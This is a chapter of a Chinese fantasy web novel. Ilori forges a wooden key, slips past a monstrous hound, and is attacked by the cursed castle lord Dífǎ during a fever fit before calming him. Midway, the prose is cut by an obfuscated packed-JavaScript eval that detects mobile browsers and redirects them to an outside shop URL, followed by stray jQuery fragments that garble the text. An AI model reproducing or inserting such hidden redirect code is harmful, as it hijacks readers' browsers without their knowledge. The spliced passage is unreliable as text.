在拿到拓印的当天晚上,伊洛里就借口说自己想要做一些手工活打发时间,设法让理查拿来了几块木头和一把能够用来切削木头的小刀。
他看着大辞典内的印痕,用尺子量出印痕的长度、宽度、厚度,再转绘到纸上,每一根线都再三测量,力图使图纸上的每个参数都与钥匙原件一模一样,然后他再用刀一点点地把木头成短细的木条,为后面磨出钥匙齿做准备。
切木头的过程很枯燥,木头的质地太硬,很难下刀,再加上小刀十分锋利,一不小心就可能会割伤手指,所以钥匙的制作进度并不是很快,忙活了一个晚上,伊洛里才堪堪把原料切削成一个大概的立方体形状。
伊洛里搓了搓发红的手指,将立方体块放入一张白纸,包起来藏入了一个隐蔽的角落,然后把木屑都扔到了壁炉里。
橙红的火光很快就吞噬了木屑,跳跃着燃亮了一些,映照在伊洛里脸上,他表情沉凝。
他必须时刻保持谨慎,任何一丝不小心留下的蛛丝马迹都有可能会暴露他现在在做的事。
伊洛里脱了衣服,躺到床上。
他今天没有让理查拿装了热水的铜壶来暖床,所以此时被褥里面冷得如同冰窖,伊洛里却仿佛感觉不到冷意,心头像有一簇小火苗在燃烧,一想到很快能够救出妹妹就激动得难以遏制心情。
伊洛里又记起母亲在发觉索菲娅失踪时,在火车站口一边哭一边向行人派印有索菲娅照片的寻人启事的场景,那天他劝精神几乎要支撑不住的母亲先回家,他抱住母亲,向她一遍遍保证自己会将索菲娅完好无损地带回家,觉得心也快要碎了。
而现在,亨特一家所有失去亲人的痛苦与悲伤,都要迎来结束。
直到睡过去之前,狄法那双幽深又诡丽的蓝金异瞳一刻都没有再度在伊洛里的脑海中出现。
就这样,伊洛里保持这种每天晚上都雕刻木块到凌晨的进度,终于在狄法将要回来的前一天晚上,赶工完成了一把木钥匙。
如同对待一尊易碎的艺术品,伊洛里小心翼翼地把木钥匙放进大辞典里的拓印中,慢慢合上书。
随着书本完美地闭合,也代表着木钥匙跟原钥匙的尺寸分毫不差,伊洛里的脸上不受控制地露出灿烂的笑容,成功了,他复制出了一把足以打开那扇神秘的石门的钥匙。
-------------------------------------
伊洛里在就着灯光最后把地图背过一遍,确保自己已经将上面的路线都记得一点儿不差。
今夜大摆钟的铃声已经响过,现下外边走廊空无一人,看守楼梯口的士兵也会随着钟声的响起而离开,现在正是行动的最好时机,伊洛里不想再等了,决定立刻就行动起来。
伊洛里脱下了会在上下楼梯时发出脚步声的靴子,同时还换上另一套剪裁更为贴身、不会被什么东西夹住或钩破的深色衣裳,他再三确认过自己身上没有带任何会暴露他身份的小物件,然后按住门把,极缓慢地往下压——
吱呀——
万籁俱静,伊洛里的房门无声地开了。
伊洛里打开门,轻轻地走出去,必须动作尽量轻且快速,在不惊动城堡内任何一个人的情况下到达石门。
他赤足踩在铺在走廊的地毯上,觉得像踩入了烧红的炭火堆,极寒的冷空气针一样刺着他的皮肤。
原本灯火通明的走廊只留下了几盏煤气灯在幽幽地亮着,白日里无害的画像在昏暗的灯光映照下仿佛活了过来,画中人一双眼睛注视着蹑手蹑脚走过走廊的伊洛里。
此时城堡安静得令人害怕。
伊洛里突然听到了一个声音。
“哧。”
类似喷气声或水壶烧开了的呲声。
伊洛里还以为是自己的错觉,然而那喷气声又阴魂不散地再次响起。
是从楼梯上面传来的。
伊洛里往上看,一只巨大得像一匹小牛犊、皮毛呈现鲜艳的血红色的巨型猎犬出现在视野内。伊洛里噤若寒蝉,立刻捂住了自己的嘴巴,躲到了楼梯的阴影后面。
伊洛里又悄悄探出头,只见那怪物两只眼睛发出绿色的荧光,锐利的牙齿像鲨鱼的牙齿一样突出。
巨型猎犬从走廊的一头缓缓走向另一头,边走还边抽动鼻子,仿佛在巡视城堡。可想而知,如果闯入城堡的人让它发现,它会用腥臭的犬牙毫不留情地把那个人撕成碎片。
怪不得宵禁能一直实行下去却不担心有人违法规定偷偷从房间里跑出来。一般人谁会愿意面对这噩梦一样的怪物。
伊洛里小心翼翼地往后退,想等它离开后再行动,只是刚踩下一步,血红猎犬的耳朵猛地抽动了一下。
血红猎犬停下来,硕大的眼球缓缓转动,望向楼梯底下的阴影。
伊洛里完全不敢呼吸。他听到野兽的爪子刮过地板,发出尖锐的刮擦声,让他的耳朵刺痛难忍。
猎犬抽着鼻子一步步逼近,伊洛里仿佛能闻见它嘴巴里腥臭的唾液。
再这样下去他肯定会被猎犬发现。他必须做点什么。
伊洛里眼角余光扫到旁边放烛台的桌子有一个小罐子,他取下小罐子,放到地上,很轻、很轻地将它往另一个方向推了一下。
小罐子在地上滚动着。
血红猎犬被那声音吸引了过去,巨大的头颅也歪到另一边。
在这无比紧绷的时刻,海伍德喊住了猎犬,“莎莎,过来这里。”
血红猎犬又“哧”了一声,往主人的方向走过去。
藏着阴影里的伊洛里放下手,他看着距离自己仅有一英尺远的小罐子,腿一下子就软了下来,心脏咚咚地跳。
只差一点,那只狗就会看到他。
完全确定巨型猎犬与海伍德已经消失在走廊后,伊洛里才敢再走上楼梯。
伊洛里心惊胆战地摸到了石门外,冰凉的石材咯着他的掌心,他一刻不停地摩挲着门侧去找那个不起眼的钥匙孔。
快点快点。
他一想到那只骇人的猎犬随时有可能回来,就紧张得心脏都快从嗓子眼里蹦了出来,在浪费了好几分钟后终于摸到了钥匙孔,他将木钥匙插进去往右旋,心里着祈祷这能打开门。
咔、哒——
随着一声仿若天籁的锁舌收缩声响起,复制的钥匙很顺利地打开了锁,石门安在了一条滑轨上,伊洛里用力把门往右边推。
伊洛里以为自己会在房间里看见索菲娅,但出乎意料的是房间里不仅空无一人,甚至没有任何能用来炼金的器具、没有桌椅,只有角落摆了一块纯黑的大石头,石头上刻了一个不知道是什么用途的魔法阵,黯淡的月光从狭小的窗户照进来,帷帐从天花板垂落,阴冷瘆人。
伊洛里不死心地检查了整个房间,甚至连石头后边都没有放过,但没能找到一丁点儿索菲娅曾经来过这里的证据。
伊洛里踉跄了一下,扑到墙壁上,手掌压到某种极粗糙的触感,他心下一惊,掀开帷帐,墙壁上布满了可怖的抓痕,斑斑血迹泼洒在上边,即使血迹已经氧化成深黑色,伊洛里仍仿佛闻见了那浓重得令人窒息的血腥味。
这房间究竟是用来做什么的?
伊洛里还没能想出个结果,一队杂乱的脚步声突然往这个房间逼近,其中海伍德·阿尔苍老的声线尤为突出,他沉着嗓音在朝什么人发怒,“为什么会出现这种事,宴会上发生了什么。”
男人唯唯喏喏的声音,“我们真不知道是怎么了……储君殿下致完辞后,老爷就忽然捂住了脑袋……我们一刻都不敢耽搁赶回城堡……”
海伍德恨铁不成钢:“问什么你们都说不知道,真不知道你们是怎么当上卡斯德伊的精锐的。”
伊洛里听见了钥匙碰撞的脆响,在他惊恐的眼神中,石门被外边的人推开了。
“快点,将人安置到安魂石上。”
隔着几层帷帐,伊洛里只能模糊地看出一个身形高大的人被士兵们搀扶进来,他似乎处于极度的痛苦之中,粗重地喘息着。
伊洛里几乎是立刻意识到,被搀扶进来的人是狄法·卡斯德伊,而且是黄金热发作状态下的狄法。
众人似乎避之不及,把狄法放到黑色的石头上就迫不及待地退出去,锁起门。
石室突然成了黑暗的囚笼,只有压抑到极点的痛吟声在窸窸作祟。
伊洛里这下明白了这个房间是用来关押什么的了,不是一匹发狂的野兽,而是受血脉诅咒的城堡主人。
伊洛里的心脏提到了嗓子眼,这些帷幕是如此透薄,根本藏不住他,他得趁狄法发现自己之前逃出去,不然他很有可能会被发狂的狄法撕成碎片。
狄法混乱地说着什么,伊洛里只能听出来这似乎是一道剥夺施法者视力的咒语。
下一秒,狄法身下的魔法阵突然迸发出千道鲜红的光芒,照亮了石室,一缕雾气钻进了狄法的眼睛里,金红的黄金瞳仿佛蒙上了一层纱,变得空洞无神。
伊洛里不敢置信地看着狄法,只有最疯狂的疯子才会对自己使用这种会剥夺感官的咒语,如果在施咒途中出现任何差错,只是失去一双眼睛都是最轻微的代价了。
但狄法这么做,也给了伊洛里逃出房间的机会,伊洛里尝试性地走出一步,狄法猛地回过了头,鬼火在他的异瞳里燃烧,幽深得不见天日。
他现在看不见任何东西,只是靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073297|149387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
野兽的直觉察觉到了伊洛里的存在。
被那双冰冷诡异的眼睛盯着,伊洛里全身僵直,觉得自己在跟地狱的暴君对视。
不,是被狩猎——
当伊洛里反应过来的时候,他已经被宛如野兽的男人重重地压到了地上,后脑勺磕到地板,他眩晕地往上看。
救命。求救声堵在了伊洛里的喉咙中,他不能喊出来。
显而易见的,狄法完全失去了理智,他粗野地对待着伊洛里的手臂,像是要折断一样用力把伊洛里的手向外掰折。
好痛。
沉重又滚烫的气息喷洒在耳侧,伊洛里试图对抗,但根本没办法与狄法的力量抗衡。
伊洛里:“你冷静、冷静点,啊……”
伊洛里的呼吸声都变了形,急促得如咽下点燃的星火。
狄法的动作更大了,执拗地,按住了伊洛里,手劲不断加大。
伊洛里痛得要命,他不停挣扎,在混乱中摸到自己口袋里的贮水笔,尖锐的什么东西都好,只要能让他摆脱这个困境。
他咬掉笔盖,毫不留情地将锐利的笔尖扎向狄法。
“啊——”
伊洛里痛得失了准头,笔尖没扎到狄法,反而在自己的手臂上划出一道伤口。
完了,他要死在这里了。
望着身上的狄法,“会死”的想法在伊洛里的脑海中前所未有地清晰起来。
狄法却停了下来。
他握住伊洛里受伤的手臂,带着某种奇异的神色靠近那汩汩流血的伤口。
血液带有的铃兰花蜜味道的甜香似乎在一定程度上抚慰了神志不清的狄法,他像是被一朵盛放的花迷惑了的兽。
伊洛里瞪大了眼睛,不敢置信地看着狄法低下头舔了自己的血。
湿热粗糙的舌苔刮过皮肤,像一把硬毛的刷子,刷过的地方泛起痒痛,激起伊洛里手臂的鸡皮疙瘩。
狄法神情专注得恍若在享用珍稀的盛宴,一点一点,他舔净那些腥红,嘴角沾的血色令他苍白的脸也染上些许温热的色彩,如同餍足的吸血鬼。
伊洛里嘶嘶地吸着气,竭尽全力控制住想要抽手的恐惧,安抚着:“不要咬,很好,不要咬下去,只要舔就好。”
话音未落,伊洛里短促地叫了一声,“啊。”
狄法尖锐的犬牙刺到他的伤口,不痛,但很惊悚。伊洛里觉得自己如狄法餐盘里的肉排,狄法切割红肉,也将他切割得七零八落,全数吞进喉咙。
“……le”过低的呢喃,糅杂着气音。
在说什么?伊洛里愣了好一会儿,才听清楚狄法在说的是“好冷”。
狄法全身发烫,却叫着冷。这简直是再黑色幽默不过的对照,伊洛里害怕得不行,却要安慰狄法别怕。
但不管如何,狄法现在停下了对他的攻击,他必须振作起来。
伊洛里按捺着恐惧,伸出手抱住狄法,就像安慰一匹焦躁不已的狮子一样上下摸他的后背:“睡一觉就不冷了,没事的,你会好起来的……”
狄法还在说着胡话,“必须是我、必须……卡斯德伊……我的责任。”
“重振家族荣光”就如同刻进了他的骨子里的执念,就连黄金热,都无法抹除这个执念。
这真的是一个沉重的枷锁,即使狄法心甘情愿背负卡斯德伊的未来,也不代表这份重量会有所减轻,他依旧会很累,需要为此付出很多。
伊洛里抚开狄法汗湿的刘海,少有地带上了几分真心,轻声哄着:“会的,你会振兴卡斯德伊的,你已经做得足够好了,现在闭上眼睡觉吧……”
在伊洛里轻柔的语调中,精神因黄金热而过度激昂的狄法似乎受到了某种感染,他缓缓地在甜蜜的花香中闭上了眼睛,枕在伊洛里的怀中睡了过去。
确定人不会再醒来,伊洛里使劲浑身解数推开了狄法。
他心脏狂跳,根本连一秒钟都无法停留。
伊洛里什么也顾不上了,飞快地打开锁逃回了自己的房间。
与死神擦肩而过的感觉是如此惊悚,他这辈子都不想再经历一次。
在房间中,伊洛里忍痛捋起了衣袖,看见自己划出来的伤口长至三英寸,还在微微渗出鲜艳的血。
他简单地用清水清洗了一下伤口,等它自然结痂。
伊洛里把木制钥匙、大辞典连同剩余的木料都扔进了壁炉中烧成灰烬。
看着刚露出一抹鱼肚白的天空,伊洛里的心情十分忐忑,他不知道狄法什么时候会清醒过来,更不知道他会不会记得自己。
这就像是在赌,他完全无法预料自己能不能赢下这场赌局,而输掉的代价高昂到他无法承担。